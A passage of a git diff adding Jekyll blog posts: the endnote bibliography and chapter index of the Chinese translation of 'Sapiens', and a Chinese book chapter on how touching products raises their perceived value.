America (Berkeley: University of California Press, 2009). +23 Paul L. Koch and Anthony D. Barnosky, ‘Late Quaternary Extinctions: State of the Debate’, The Annual Review of Ecology, Evolution, and Systematics 37 (2006), 215-50; Anthony D. Barnosky et al., ‘Assessing the Causes of Late Pleistocene Extinctions on the Continents’, 70-5. +24 本地图主要参考： Peter Bellwood, First Farmers: The Origins of Agricultural Societies (Malden: Blackwell Pub., 2005). +25 Azar Gat, War in Human Civilization (Oxford: Oxford University Press, 2006), 130-131; Robert S. Walker and Drew H. Bailey, ‘Body Counts in Lowland South American Violence,’ Evolution and Human Behavior 34 (2013), 29-34. +26 Katherine A. Spielmann, ‘A Review: Dietary Restriction on Hunter-Gatherer Women and the Implications for Fertility and Infant Mortality’, Human Ecology 17:3 (1989), 321-45. 并请参见：Bruce Winterhalder and Eric Alder Smith, ‘Analyzing Adaptive Strategies: Human Behavioral Ecology at Twenty Five’, Evolutionary Anthropology 9:2 (2000), 51-72. +27 Alain Bideau, Bertrand Desjardins and Hector Perez-Brignoli (eds.), Infant and Child Mortality in the Past (Oxford: Clarendon Press, 1997); Edward Anthony Wrigley et al., English Population History from Family Reconstitution, 1580-1837 (Cambridge: Cambridge University Press, 1997), 295-96, 303. +28 Manfred Heun et al., ‘Site of Einkorn Wheat Domestication Identified by DNA Fingerprints’, Science 278:5341 (1997), 1312-14. +29 Charles Patterson, Eternal Treblinka: Our Treatment of Animals and the Holocaust (New York: Lantern Books, 2002), 9-10; Peter J. Ucko and G.W. Dimbleby (ed.), The Domestication and Exploitation of Plants and Animals (London: Duckworth, 1969), 259. +30 Avi Pinkas (ed.), Farmyard Animals in Israel – Research, Humanism and Activity (Rishon Le-Ziyyon: The Association for Farmyard Animals, 2009 [Hebrew]), 169-199; “Milk Production – the Cow” [Hebrew], The Dairy Council, accessed March 22, 2012, http://www.milk.org.il/cgiwebaxy/sal/sal.pl?lang=he&ID=645657_ +milk&act=show&dbid=katavot&dat aid=cow.htm +31 Edward Evan Evans-Pritchard, The Nuer: A Description of the Modes of Livelihood and Political Institutions of a Nilotic People (Oxford: Oxford University Press, 1969); E.C. Amoroso and P.A. Jewell, ‘The Exploitation of the Milk-Ejection Reflex by Primitive People’, in Man and Cattle: Proceedings of the Symposium on Domestication at the Royal Anthropological Institute, 24-26 May 1960, ed. A.E. Mourant and F.E. Zeuner (London: The Royal Anthropological Institute, 1963), 129-34. +32 Johannes Nicolaisen, Ecology and Culture of the Pastoral Tuareg (Copenhagen: National Museum, 1963), 63. +33 Angus Maddison, The World Economy, vol. 2 (Paris: Development Centre of the Organization of Economic Co-operation and Development, 2006), 636; “Historical Estimates of World Population”, U.S. Census Bureau, accessed December 10, 2010, http://www.census.gov/ipc/www/worldhis.html. +34 Robert B. Mark, The Origins of the Modern World: A Global and Ecological Narrative (Lanham, MD: Rowman & Littlefield Publishers, 2002), 24. +35 Raymond Westbrook, ‘Old Babylonian Period’, in A History of Ancient Near Eastern Law, vol. 1, ed. Raymond Westbrook (Leiden: Brill, 2003), 361- 430; Martha T. Roth, Law Collections from Mesopotamia and Asia Minor, 2nd ed. (Atlanta: Scholars Press, 1997), 71-142; M. E. J. Richardson, Hammurabi’s Laws: Text, Translation and Glossary (London: T & T Clark International, 2000). +36 Roth, Law Collections from Mesopotamia, 76. +37 Roth, Law Collections from Mesopotamia, 121. +38 Roth, Law Collections from Mesopotamia, 122-23. +39 Roth, Law Collections, 133-34. +40 Constance Brittaine Bouchard, Strong of Body, Brave and Noble: Chivalry and Society in Medieval France (New York: Cornell University Press, 1998), 99; Mary Martin McLaughlin, ‘Survivors and Surrogates: Children and Parents from the Ninth to Thirteenth Centuries’, in Medieval Families: Perspectives on Marriage, Household and Children, ed. Carol Neel (Toronto: University of Toronto Press, 2004), 81 n. 81; Lise E. Hull, Britain's Medieval Castles (Westport: Praeger, 2006), 144. +41 Andrew Robinson, The Story of Writing (New York: Thames and Hudson, 1995), 63; Hans J. Nissen, Peter Damerow and Robert K. Englung, Archaic Bookkeeping: Writing and Techniques of Economic Administration in the Ancient Near East (Chicago, London: The University of Chicago Press, 1993), 36. +42 Marcia and Robert Ascher, Mathematics of the Incas-Code of the Quipu (New York: Dover Publications, 1981). +43 Gary Urton. Signs of the Inka Khipu (Austin: University of Texas Press, 2003); Galen Brokaw. A History of the Khipu (Cambridge: Cambridge University Press, 2010). +44 Stephen D. Houston (ed.), The First Writing: Script Invention as History and Process (Cambridge: Cambridge University Press, 2004), 222. +45 Sheldon Pollock, ‘Axialism and Empire’, in Axial Civilizations and World History, ed. Johann P. Arnason, S. N. Eisenstadt and Bj.rn Wittrock (Leiden: Brill, 2005), 397-451. +46 Harold M. Tanner, China: A History (Indianapolis: Hackett, Pub. Co., 2009), 34. +47 Ramesh Chandra, Identity and Genesis of Caste System in India (Delhi: Kalpaz Publications, 2005); Michael Bamshad et al., ‘Genetic Evidence on the Origins of Indian Caste Population’, Genome Research 11 (2001): 904-1004; Susan Bayly, Caste, Society and Politics in India from the Eighteenth Century to the Modern Age (Cambridge: Cambridge University Press, 1999). +48 Houston, First Writing, 196. +49 The Secretary-General, United Nations, Report of the Secretary-General on the In-depth Study on All Forms of Violence Against Women, delivered to the General Assembly, U.N. Doc. A/16/122/Add.1 (July 6, 2006), 89. +50 Sue Blundell, Women in Ancient Greece (Cambridge, Mass.: Harvard University Press, 1995), 113-29, 132-33. +51 Francisco López de Gómara, Historia de la Conquista de Mexico, vol. 1, ed. D. Joaquin Ramirez Caba.es (Mexico City: Editorial Pedro Robredo, 1943), 106. +52 Andrew M. Watson, ‘Back to Gold – and Silver’, Economic History Review 20:1 (1967), 11-12; Jasim Alubudi, Repertorio Bibliográfico del Islam (Madrid: Vision Libros, 2003), 194. +53 Watson, ‘Back to Gold – and Silver’, 17-18. +54 David Graeber, Debt: The First 5000 Years (Brooklyn, N.Y.: Melville House, 2011). +55 Glyn Davies, A History of Money: from Ancient Times to the Present Day (Cardiff: University of Wales Press, 1994), 15. +56 Szymon Laks, Music of Another World, trans. Chester A. Kisiel (Evanston, Ill.: Northwestern University Press, 1989), 88-89. 奥斯维辛集中营的“市场”仅限于部分阶级的囚犯，而且在不同时期的差异非常大。 +57 Niall Ferguson, The Ascent of Money (New York: The Penguin Press, 2008), 4. +58 关于麦元的信息，我参考了一本未出版的博士论文：Refael Benvenisti, Economic Institutions of Ancient Assyrian Trade in the Twentieth to Eighteenth Centuries BC (Hebrew University of Jerusalem, Unpublished Ph.D. thesis, 2011). 并请参见：Norman Yoffee, ‘The Economy of Ancient Western Asia’, in Civilizations of the Ancient Near East, vol. 1, ed. J. M. Sasson (New York: C. Scribner’s Sons, 1995), 1387-99; R. K. Englund, ‘Proto-Cuneiform Account-Books and Journals’, in Creating Economic Order: Record-keeping, Standardization, and the Development of Accounting in the Ancient Near East, ed. Michael Hudson and Cornelia Wunsch (Bethesda, MD: CDL Press, 2004), 21-46; Marvin A. Powell, ‘A Contribution to the History of Money in Mesopotamia prior to the Invention of Coinage’, in Festschrift Lubor Matou., ed. B. Hru.ka and G. Komoróczy (Budapest: E.tv.s Loránd Tudományegyetem, 1978), 211-43; Marvin A. Powell, ‘Money in Mesopotamia’, Journal of the Economic and Social History of the Orient, 39:3 (1996), 224-42; John F. Robertson, ‘The Social and Economic Organization of Ancient Mesopotamian Temples’, in Civilizations of the Ancient Near East, vol. 1, ed. Sasson, 443-500; M. Silver, ‘Modern Ancients’, in Commerce and Monetary Systems in the Ancient World: Means of Transmission and Cultural Interaction, ed. R. Rollinger and U. Christoph (Stuttgart: Steiner, 2004), 65-87; Daniel C. Snell, ‘Methods of Exchange and Coinage in Ancient Western Asia’, in Civilizations of the Ancient Near East, vol. 1, ed. Sasson, 1487-97. +59 Nahum Megged, The Aztecs (Tel Aviv: Dvir, 1999 [Hebrew]), 103. +60 Tacitus, Agricola, ch. 30 (Cambridge, Mass.: Harvard University Press, 1958), pp. 220-21. +61 A. Fienup-Riordan, The Nelson Island Eskimo: Social Structure and Ritual Distribution (Anchorage: Alaska Pacific University Press, 1983), p. 10. +62 Yuri Pines, ‘Nation States, Globalization and a United Empire – the Chinese Experience (third to fifth centuries BC)’, Historia 15 (1995), 54 [Hebrew]. +63 Alexander Yakobson, ‘Us and Them: Empire, Memory and Identity in Claudius Speech on Bringing Gauls into the Roman Senate’, in On Memory: An Interdisciplinary Approach, ed. Doron Mendels (Oxford: Peter Land, 2007), 23-24. +64 W.H.C. Frend, Martyrdom and Persecution in the Early Church (Cambridge: James Clarke & Co., 2008), 536-37. +65 Robert Jean Knecht, The Rise and Fall of Renaissance France, 1483-1610 (London: Fontana Press, 1996), 424. +66 Marie Harm and Hermann Wiehle, Lebenskunde fuer Mittelschulen -Fuenfter Teil. Klasse 5 fuer Jungen (Halle: Hermann Schroedel Verlag, 1942), 152-57. +67 Susan Blackmore, The Meme Machine (Oxford: Oxford University Press, 1999). +68 David Christian, Maps of Time: An Introduction to Big History (Berkeley: University of California Press, 2004), 344-45; Angus Maddison, The World Economy, vol. 2 (Paris: Development Centre of the Organization of Economic Co-operation and Development, 2001), 636; ‘Historical Estimates of World Population’, U.S. Census Bureau, accessed December 10, 2010, +http://www.census.gov/ipc/www/worldhis.html. +69 Maddison, The World Economy, vol. 1, 261. +70 "Gross Domestic Product 2009", The World Bank, Data and Statistics, accessed December 10, 2010, http://siteresources.worldbank.org/DATASTATISTICS/Resources/GDP.pdf +71 Christian, Maps of Time, 141. +72 当代最大的货轮能够承载大约10万吨的货物。在1470年，全球舰队船队加起来，承载量也不超过32万吨。到了1570年，总承载量已达到73万吨。(Maddison, The World Economy, vol. 1, 97). +73 全球规模最大的银行，苏格兰皇家银行（Royal Bank of Scotland），于2007年申报的存款为1.3兆美元，是1500年全球总产值的五倍。参见 ‘Annual Report and Accounts 2008’, The Royal Bank of Scotland, 35, accessed December 10, 2010. +http://files.shareholder.com/downloads/RBS/626570033x0x278481/eb7a003a-5c9b-41ef-bad3-81fb98a6c823/RBS_GRA_2008_09_03_09.pdf +74 Ferguson, Ascent of Money, 185-98. +75 Maddison, The World Economy, vol. 1, 31; Wrigley, English Population History, 295; Christian, Maps of Time, 450, 452; ‘World Health Statistic Report 2009’, 35-45, World Health Organization, accessed December 10, 2010 http://www.who.int/whosis/whostat/EN_WHS09_Full.pdf. +76 Wrigley, English Population History, 296. +77 ‘England, Interim Life Tables, 1980-82 to 2007-09’, Office for National Statistics, accessed March 22, 2012 +http://www.ons.gov.uk/ons/publications/re-reference-tables.html?edition=tcm%3A77-61850 +78 Michael Prestwich, Edward I (Berkley: University of California Press, 1988), 125-26. +79 Jennie B. Dorman et al., ‘The age-1 and daf-2 Genes Function in a Common Pathway to Control the Lifespan of Caenorhabditis elegans’, Genetics 141:4 (1995), 1399-1406; Koen Houthoofd et al., ‘Life Extension via Dietary Restriction is Independent of the Ins/IGF-1 Signaling Pathway in Caenorhabditis elegans’, Experimental Gerontology 38:9 (2003), 947-54. +80 Shawn M. Douglas, Ido Bachelet, and George M. Church, ‘A Logic-Gated Nanorobot for Targeted Transport of Molecular Payloads’, Science 335:6070 (2012): 831-4; Dan Peer et al., ‘Nanocarriers As An Emerging Platform for Cancer Therapy’, Nature Nanotechnology 2 (2007): 751-60; Dan Peer et al., ‘Systemic Leukocyte-Directed siRNA Delivery Revealing Cyclin D1 as an Anti-Inflammatory Target’, Science 319:5863 (2008): 627-30. +81 Stephen R. Bown, Scurvy: How a Surgeon, a Mariner, and a Gentleman Solved the Greatest Medical Mystery of the Age of Sail (New York: Thomas Dunne Books, St. Matin's Press, 2004); Kenneth John Carpenter, The History of Scurvy and Vitamin C (Cambridge: Cambridge University Press, 1986). +82 James Cook, The Explorations of Captain James Cook in the Pacific, as Told by Selections of his Own Journals 1768-1779, ed. Archibald Grenfell Price (New York : Dover Publications, 1971), 16-17; Gananath Obeyesekere, The Apotheosis of Captain Cook: European Mythmaking in the Pacific (Princeton: Princeton University Press, 1992), 5; J.C. Beaglehole, ed., The Journals of Captain James Cook on His Voyages of Discovery, vol. 1 (Cambridge: Cambridge University Press, 1968), 588. +83 Mark, Origins of the Modern World, 81. +84 Christian, Maps of Time, 436. +85 John Darwin, After Tamerlane: The Global History of Empire since 1405 (London: Allen Lane, 2007), 239. +86 Soli Shahvar, ‘Railroads i. The First Railroad Built and Operated in Persia’, in the Online Edition of Encyclopaedia Iranica, last modified April 7, 2008, +http://www.iranicaonline.org/articles/railroads-i; +Charles Issawi, ‘The Iranian Economy 1925-1975: Fifty Years of Economic Development’, in Iran under the Pahlavis, ed. George Lenczowski (Stanford: Hoover Institution Press, 1978), 156. +87 Mark, The Origins of the Modern World, 46. +88 Kirkpatrik Sale, Christopher Columbus and the Conquest of Paradise (London: Tauris Parke Paperbacks, 2006), 7-13. +89 Edward M. Spiers, The Army and Society: 1815-1914 (London: Longman, 1980), 121; Robin Moore, ‘Imperial India, 1858-1914’, in The Oxford History of the British Empire: The Nineteenth Century, vol. 3, ed. Andrew Porter (New York: Oxford University Press, 1999), 442. +90 Vinita Damodaran, ‘Famine in Bengal: A Comparison of the 1770 Famine in Bengal and the 1897 Famine in Chotanagpur’, The Medieval History Journal 10:1-2 (2007), 151. +91 Maddison, World Economy, vol. 1, 261, 264; ‘Gross National Income Per Capita 2009, Atlas Method and PPP’, The World Bank, accessed December 10, 2010, +http://siteresources.worldbank.org/DATASTATISTICS/Resources/GNIPC.pdf. +92 这里举的面包店例子在计算上经过简化，并非完全精确。因为银行金库中每存有1元就能贷出10元，如果银行现在有100万美元的存款，其实只能贷出约909000美元，而必须将91000美元留在金库里。但为了方便读者理解，我还是决定将数字简化。此外，银行也并不总是遵守这些法规。 +93 Carl Trocki, Opium, Empire and the Global Political Economy (New York: Routledge, 1999), 91. +94 Georges Nzongola-Ntalaja, The Congo from Leopold to Kabila: A People's History (London: Zed Books, 2002), 22. +95 Mark, Origins of the Modern World, 109. +96 Nathan S. Lewis and Daniel G. Nocera, ‘Powering the Planet: Chemical Challenges in Solar Energy Utilization’, Proceedings of the National Academy of Sciences 103:43 (2006), 15731. +97 Kazuhisa Miyamoto (ed.), ‘Renewable Biological Systems for Alternative Sustainable Energy Production’, FAO Agricultural Services Bulletin 128 (Osaka: Osaka University, 1997), chapter 2.1.1, accessed December 10, 2010, +http://www.fao.org/docrep/W7241E/w7241e06.htm#2.1.1percent20solarperc ent20energy; +James Barber, ‘Biological Solar Energy’, Philosophical Transactions of the Royal Society A 365:1853 (2007), 1007. +98 ‘International Energy Outlook 2010’, U.S. Energy Information Administration, 9, accessed December 10, 2010, +http://www.eia.doe.gov/oiaf/ieo/pdf/0484(2010).pdf. +99 S. Venetsky, ‘"Silver" from Clay’, Metallurgist 13:7 (1969), 451; Aftalion, Fred, A History of the International Chemical Industry (Philadelphia: University of Pennsylvania Press, 1991), 64; A. J. Downs, Chemistry of Aluminum, Gallium, Indium and Thallium (Glasgow: Blackie Academic & Professional, 1993), 15. +100 Jan Willem Erisman et al, ‘How a Century of Ammonia Synthesis Changed the World’ in Nature Geoscience 1 (2008), 637. +101 G. J. Benson and B. E. Rollin (eds.), The Well-Being of Farm Animals: Challenges and Solutions (Ames, IA: Blackwell, 2004); M .C. Appleby, J. A. Mench, and B. O. Hughes, Poultry Behaviour and Welfare (Wallingford: CABI Publishing, 2004); J. Webster, Animal Welfare: Limping Towards Eden (Oxford: Blackwell Publishing, 2005); C. Druce and P. Lymbery, Outlawed in Europe: How America Is Falling Behind Europe in Farm Animal Welfare (New York: Archimedean Press, 2002). +102 Harry Harlow and Robert Zimmermann, ‘Affectional Responses in the Infant Monkey’, Science 130:3373 (1959), 421-432; Harry Harlow, ‘The Nature of Love’, American Psychologist 13 (1958), 673-685; Laurens D. Young et al., ‘Early stress and later response to seprate in rhesus monkeys’, American Journal of Psychiatry 130:4 (1973), 400-405; K. D. Broad, J. P. Curley and E. B. Keverne, ‘Mother-infant bonding and the evolution of mammalian social relationships’, Philosophical Transactions of the Royal Soceity B 361:1476 (2006), 2199-2214; Florent Pittet et al., ‘Effects of maternal experience on fearfulness and maternal behaviour in a precocial bird’, Animal Behavior (March 2013), In Press-available online at: +http://www.sciencedirect.com/science/article/pii/S0003347213000547) +103 "National Institute of Food and Agriculture", United States Department of Agriculture, accessed December 10, 2010, +http://www.csrees.usda.gov/qlinks/extension.html. +104 Vaclav Smil, The Earth's Biosphere: Evolution, Dynamics, and Change (Cambridge, Mass.: MIT Press, 2002); Sarah Catherine Walpole et al., ‘The Weight of Nations: An Estimation of Adult Human Biomass’, BMC Public Health 12:439 (2012), +http://www.biomedcentral.com/1471-2458/12/439 +105 William T. Jackman, The Development of Transportation in Modern England (London: Frank Cass & co., 1966), 324-27; H. J. Dyos and D.H. Aldcroft, British Transport-An economic survey from the seventeenth century to the twentieth (Leicester: Leicester University Press, 1969), 124-31; Wolfgang Schivelbusch, The Railway Journey: The Industrialization of Time and Space in the 19th Century (Berkeley: Univeristy of California Press, 1986). +106 关于过去这几十年前所未有的和平状态，特别可参见：Steven Pinker, The Better Angels of Our Nature: Why Violence Has Declined (New York: Viking, 2011); Joshua S. Goldstein, Winning the War on War: The Decline of Armed Conflict Worldwide (New York, N.Y.: Dutton, 2011); Gat, War in Human Civilization. +107 ‘World Report on Violence and Health: Summary, Geneva 2002’, World Health Organization, accessed December 10, 2010, http://www.who.int/whr/2001/en/whr01_annex_en.pdf. +之前时代的死亡率请参见: Lawrence H. Keeley, War before Civilization: The Myth of the Peaceful Savage (New York: Oxford University Press, 1996). +108 ‘World Health Report, 2004’, World Health Organization, 124, accessed 10 December, 2010, +http://www.who.int/whr/2004/en/report04_en.pdf. +109 Raymond C. Kelly, Warless Societies and the Origin of War (Ann Arbor: University of Michigan Press, 2000), 21. See also Gat, War in Human Civilization, 129-31; Keeley, War before Civilization. +110 Manuel Eisner, ‘Modernization, Self-Control and Lethal Violence’, British Journal of Criminology 41:4 (2001), 618-638; Manuel Eisner, ‘Long-Term Historical Trends in Violent Crime’, Crime and Justice: A Review of Research 30 (2003), 83-142; ‘World Report on Violence and Health: Summary, Geneva 2002’, World Health Organization, accessed December 10, 2010, +http://www.who.int/whr/2001/en/whr01_annex_en.pdf; ‘World Health Report, 2004’, World Health Organization, 124, accessed 10 December, 2010, +http://www.who.int/whr/2004/en/report04_en.pdf. +111 Walker and Bailey, ‘Body Counts in Lowland South American Violence,’ 30. +112 若想从心理和生化两种层面来讨论快乐，以下著作是很好的出发点：Jonathan Haidt, The Happiness Hypothesis:Finding Modern Truth in Ancient Wisdom (New York: Basic Books, 2006); R. Wright, The Moral Animal: Evolutionary Psychology and Everyday Life (New York: Vintage Books, 1994); M. Csikszentmihalyi, ‘If We Are So Rich, Why Aren’t We Happy?’, American Psychologist 54:10 (1999): 82127; F. A. Huppert, N. Baylis and B. Keverne, ed., The Science of Well-Being (Oxford: Oxford University Press, 2005); Michael Argyle, The Psychology of Happiness, 2nd edition (New York: Routledge, 2001); Ed Diener (ed.), Assessing Well-Being: The Collected Works of Ed Diener (New York: Springer, 2009); Michael Eid and Randy J. Larsen (eds.), The Science of Subjective Well-Being (New York: Guilford Press, 2008); Richard A. Easterlin (ed.), Happiness in Economics (Cheltenham: Edward Elgar Pub., 2002); Richard Layard, Happiness: Lessons from a New Science (New York: Penguin, 2005). +113 Daniel Kahneman, Thinking, Fast and Slow (New York: Farrar, Straus and Giroux, 2011); Inglehart et al., "Development, Freedom, and Rising Happiness," 278-281. +114 D. M. McMahon, The Pursuit of Happiness: A History from the Greeks to the Present (London: Allen Lane, 2006). +115 Keith T. Paige et al., ‘De Novo Cartilage Generation Using Calcium Alginate-Chondrocyte Constructs’, Plastic and Reconstructive Surgery 97:1 (1996), 168-78. +116 David Biello, ‘Bacteria Transformed into Biofuels Refineries’, Scientific American, January 27, 2010, accessed December 10, 2010, +http://www.scientificamerican.com/article.cfm?id=bacteria-transformed-intobiofuel-refineries. +117 Gary Walsh, ‘Therapeutic Insulins and Their Large-Scale Manufacture’, Applied Microbiology and Biotechnology 67:2 (2005), 151-59. +118 James G. Wallis et al., ‘Expression of a Synthetic Antifreeze Protein in Potato Reduces Electrolyte Release at Freezing Temperatures’, Plant Molecular Biology 35:3 (1997), 323-30. +119 Robert J. Wall et al., ‘Genetically Enhanced Cows Resist Intramammary Staphylococcus Aureus Infection’, Nature Biotechnology 23:4 (2005), 44551. +120 Liangxue Lai et al., ‘Generation of Cloned Transgenic Pigs Rich in Omega-3 Fatty Acids’, Nature Biotechnology 24:4 (2006), 435-36. +121 Ya-Ping Tang et al., ‘Genetic Enhancement of Learning and Memory in Mice’, Nature 401 (1999), 63-69. +122 Zoe R. Donaldson and Larry J. Young, ‘Oxytocin, Vasopressin, and the Neurogenetics of Sociality’, Science 322:5903 (2008), 900–904; Zoe R. Donaldson, ‘Production of Germline Transgenic Prairie Voles (Microtus Ochrogaster) Using Lentiviral Vectors’, Biology of Reproduction 81:6 (2009), 1189-1195. +123 Terri Pous, ‘Siberian Discovery Could Bring Scientists Closer to Cloning Woolly Mammoth’, Time, September 17, 2012, accessed February 19, 2013; Pasqualino Loi et al, ‘Biological time machines: a realistic approach for cloning an extinct mammal’, Endangered Species Research 14 (2011), 227233; Leon Huynen, Craig D. Millar and David M. Lambert, ‘Resurrecting ancient animal genomes: The extinct moa and more’, Bioessays 34 (2012), 661-669. +124 Nicholas Wade, ‘Scientists in Germany Draft Neanderthal Genome’, New York Times, February 12, 2009, accessed December 10, 2010, +http://www.nytimes.com/2009/02/13/science/13neanderthal.html?_r=2&ref=s cience; +Zack Zorich, ‘Should We Clone Neanderthals?’, Archaeology 63:2 (2009), accessed 10 December, 2010, http://www.archaeology.org/1003/etc/neanderthals.html. +125 Robert H. Waterston et al., ‘Initial Sequencing and Comparative Analysis of the Mouse Genome’, Nature 420:6915 (2002), 520. +126 ‘Hybrid Insect Micro Electromechanical Systems (HI-MEMS)’, Microsystems Technology Office, DARPA, accessed March 22, 2012, +http://www.darpa.mil/Our_Work/MTO/Programs/Hybrid_Insect_Micro_Electromechanical_Systems_ percent28HI-MEMSpercent29.aspx. +并请参见：Sally Adee, ‘Nuclear-Powered Transponder for Cyborg Insect’, IEEE Spectrum, December 2009, accessed December 10, 2010, +http://spectrum.ieee.org/semiconductors/devices/nuclearpoweredtransponder-for-cyborg- +insect?utm_source=feedburner&utm_medium=feed&utm_campaign=Feedpercent3A+IeeeSpectrum+percent28IEEE+Spectrumpercent29&utm_content= Google+Reader; +Jessica Marshall, ‘The Fly Who Bugged Me’, New Scientist 197:2646 (2008), 40-43; Emily Singer, ‘Send In the Rescue Rats’, New Scientist 183:2466 (2004), 21-22; Susan Brown, ‘Stealth Sharks to Patrol the High Seas’, New Scientist 189:2541 (2006), 30-31. +127 Bill Christensen, ‘Military Plans Cyborg Sharks’, Live Science, March 7, 2006, accessed December 10, 2010, http://www.livescience.com/technology/060307_shark_implant.html. +128 ‘Cochlear Implants’, National Institute on Deafness and Other Communication Disorders, accessed March 22, 2012, +http://www.nidcd.nih.gov/health/hearing/pages/coch.aspx +129 Retina Implant, http://www.retinaimplant.de/en/doctors/technology/default.aspx. +130 David Brown, ‘For 1st Woman With Bionic Arm, a New Life Is Within Reach’, The Washington Post, September 14, 2006, accessed December 10, 2010, +http://www.washingtonpost.com/wpdyn/content/article/2006/09/13/AR2006091302271.html?nav=E8. +131 Miguel Nicolelis, Beyond Boundaries: The New Neuroscience of Connecting Brains and Machines – and How It Will Change Our Lives (New York: Times Books, 2011). +132 Chris Berdik, ‘Turning Thought into Words’, BU Today, October 15, 2008, accessed March 22, 2012, http://www.bu.edu/today/2008/turning-thoughtsinto-words/ +133 Jonathan Fildes, ‘Artificial Brain “10 years away”’, BBC News, July 22, 2009, accessed 19 September, 2012, http://news.bbc.co.uk/2/hi/8164060.stm +134 Radoje Drmanac et al., ‘Human Genome Sequencing Using Unchained Base Reads on Self-Assembling DNA Nanoarrays’, Science 327:5961 (2010), 7881; ‘Complete Genomics’ website: http://www.completegenomics.com/; Rob Waters, ‘Complete Genomics Gets Gene Sequencing under 5000$ (Update 1)’, Bloomberg, November 5, 2009, accessed December 10, 2010; http://www.bloomberg.com/apps/news?pid=newsarchive&sid=aWutnyE4So Ww; Fergus Walsh, ‘Era of Personalized Medicine Awaits’, BBC News, last updated April 8, 2009, accessed March 22, 2012, http://news.bbc.co.uk/2/hi/health/7954968.stm; Leena Rao, ‘PayPal Co-Founder And Founders Fund Partner Joins DNA Sequencing Firm Halcyon Molecular’, TechCrunch, September 24, 2009, accessed December 10, 2010, diff --git a/_posts/2017-01-06-218-sapiens.md b/_posts/2017-01-06-218-sapiens.md new file mode 100644 index 0000000..94915d0 --- /dev/null +++ b/_posts/2017-01-06-218-sapiens.md @@ -0,0 +1,39 @@ +--- +layout: post +title: 人类简史：从动物到上帝 +pid: 218 +tags: [人类简史：从动物到上帝] +--- +《人类简史：从动物到上帝》 +目录 + +1. 推荐序 +2. 第一部分认知革命 +3. [第一章人类：一种也没什么特别的动物](http://www.baoguoding.com/2017/01/193-sapiens-cp01.html) +4. [第二章知善恶树](http://www.baoguoding.com/2017/01/194-sapiens-cp02.html) +5. [第三章亚当和夏娃的一天](http://www.baoguoding.com/2017/01/195-sapiens-cp03.html) +6. [第四章毁天灭地的人类洪水](http://www.baoguoding.com/2017/01/196-sapiens-cp04.html) +7. 第二部分农业革命 +8. [第五章史上最大骗局](http://www.baoguoding.com/2017/01/197-sapiens-cp05.html) +9. [第六章盖起金字塔](http://www.baoguoding.com/2017/01/198-sapiens-cp06.html) +10. [第七章记忆过载](http://www.baoguoding.com/2017/01/199-sapiens-cp07.html) +11. [第八章历史从无正义](http://www.baoguoding.com/2017/01/200-sapiens-cp08.html) +12. 第三部分人类的融合统一 +13. [第九章历史的方向](http://www.baoguoding.com/2017/01/201-sapiens-cp09.html) +14. [第十章金钱的味道](http://www.baoguoding.com/2017/01/202-sapiens-cp10.html) +15. [第十一章帝国的愿景](http://www.baoguoding.com/2017/01/203-sapiens-cp11.html) +16. [第十二章宗教的法则](http://www.baoguoding.com/2017/01/204-sapiens-cp12.html) +17. [第十三章成功的秘密](http://www.baoguoding.com/2017/01/205-sapiens-cp13.html) +18. 第四部分科学革命 +19. [第十四章发现自己的无知](http://www.baoguoding.com/2017/01/206-sapiens-cp14.html) +20. [第十五章科学与帝国的联姻](http://www.baoguoding.com/2017/01/207-sapiens-cp15.html) +21. [第十六章资本主义教条](http://www.baoguoding.com/2017/01/208-sapiens-cp16.html) +22. [第十七章工业的巨轮](http://www.baoguoding.com/2017/01/209-sapiens-cp17.html) +23. [第十八章一场永远的革命](http://www.baoguoding.com/2017/01/210-sapiens-cp18.html) +24. [第十九章从此过着幸福快乐的日子](http://www.baoguoding.com/2017/01/211-sapiens-cp19.html) +25. [第二十章智人末日](http://www.baoguoding.com/2017/01/212-sapiens-cp20.html) +26. [后记 变成神的这种动物](http://www.baoguoding.com/2017/01/213-sapiens-cp21.html) +27. [致谢](http://www.baoguoding.com/2017/01/214-sapiens-cp22.html) +28. [历史年表](http://www.baoguoding.com/2017/01/215-sapiens-cp23.html) +29. [参考数据](http://www.baoguoding.com/2017/01/216-sapiens-cp24.html) +30. [尾注](http://www.baoguoding.com/2017/01/217-sapiens-cp25.html) diff --git a/_posts/2017-01-24-219-the-small-big-51.md b/_posts/2017-01-24-219-the-small-big-51.md new file mode 100644 index 0000000..f40afa4 --- /dev/null +++ b/_posts/2017-01-24-219-the-small-big-51.md @@ -0,0 +1,39 @@ +--- +layout: post +title: 51 碰触的魔力 +pid: 219 +tags: [细节如何轻松影响他人] +--- +希腊神话里说，酒神狄俄尼索斯（）为了报答迈达斯国王（）善待他的朋友，就让迈达斯自己挑一件谢礼。迈达斯希望拥有点金的本领，能把碰触到的一切都变成金子。狄俄尼索斯立即满足了他的愿望。当然，我们都知道这是神话故事，物品不会因为被谁碰一下就变成金子。 + +万一可以呢？ + +专门研究消费者的琼·派克（）和苏珊娜·舒认为，虽然物品不会因为被人摸一下就变成金子，但在人们的感觉中，它的价值会大大提升。虽然从直觉上说，这个观点好像不太成立，毕竟，有多少零售商家都不愿意让顾客摸他们的产品，所以才会有“请勿触碰触摸”或是“只许看不许摸”的标牌。派克和舒猜想，触碰物品会让人与物品之间产生情感联结。研究者在《星际迷航》（）中找到了知己——让-卢克·皮卡德舰长（）也是这么想的： + +让-卢克·皮卡德舰长：这是我儿时的梦想……我在史密森尼博物馆里把这艘飞船看了上百次，可我从来没能摸摸它。 + +德尔塔上校（）：真的摸到之后，感觉有什么不一样吗，先生？ + +让-卢克·皮卡德舰长：奥，当然不一样！对人类来说，碰触能让人跟物件之间产生十分亲密的情感。［摘自《星际迷航：第一次接触》（）］ + +在专门检验这个想法的实验中，受试者充当潜在顾客，面对两个产品：一只咖啡杯，一只彩虹圈玩具（）。一半受试者被明确告知，可以触碰这两样产品，感受它们的质感。另一半受试者被明确告知，不可以触摸它们。感受过产品后，每一名受试者按照认同程度为下面的句子打分：“我觉得这就是我的彩虹圈／马克杯”“我觉得这个彩虹圈／马克杯特别像我的东西”还有“我觉得我拥有这个彩虹圈／马克杯”。受试者还需要对这两样产值品的价值作出评估。 + +实验结果清楚地显示，可以摸到产品的受试者对产品拥有更加积极正面的情感反应，触摸导致了更强烈的拥有感。更强的好感和拥有感提升了马克杯和彩虹圈在这些受试者心中的价值——基本上比不许碰产品那种受试者高出1/3。对于这个小小的改变来说——只需让人触碰一下你的产品——这样的收效可谓非常明显了。有趣的是，研究者们也发现，在卖家身上也存在类似的模式：受试者充当卖家销售产品的时候，能够触摸到产品的卖家开出的价格就比那些摸不到产品的人高。 + 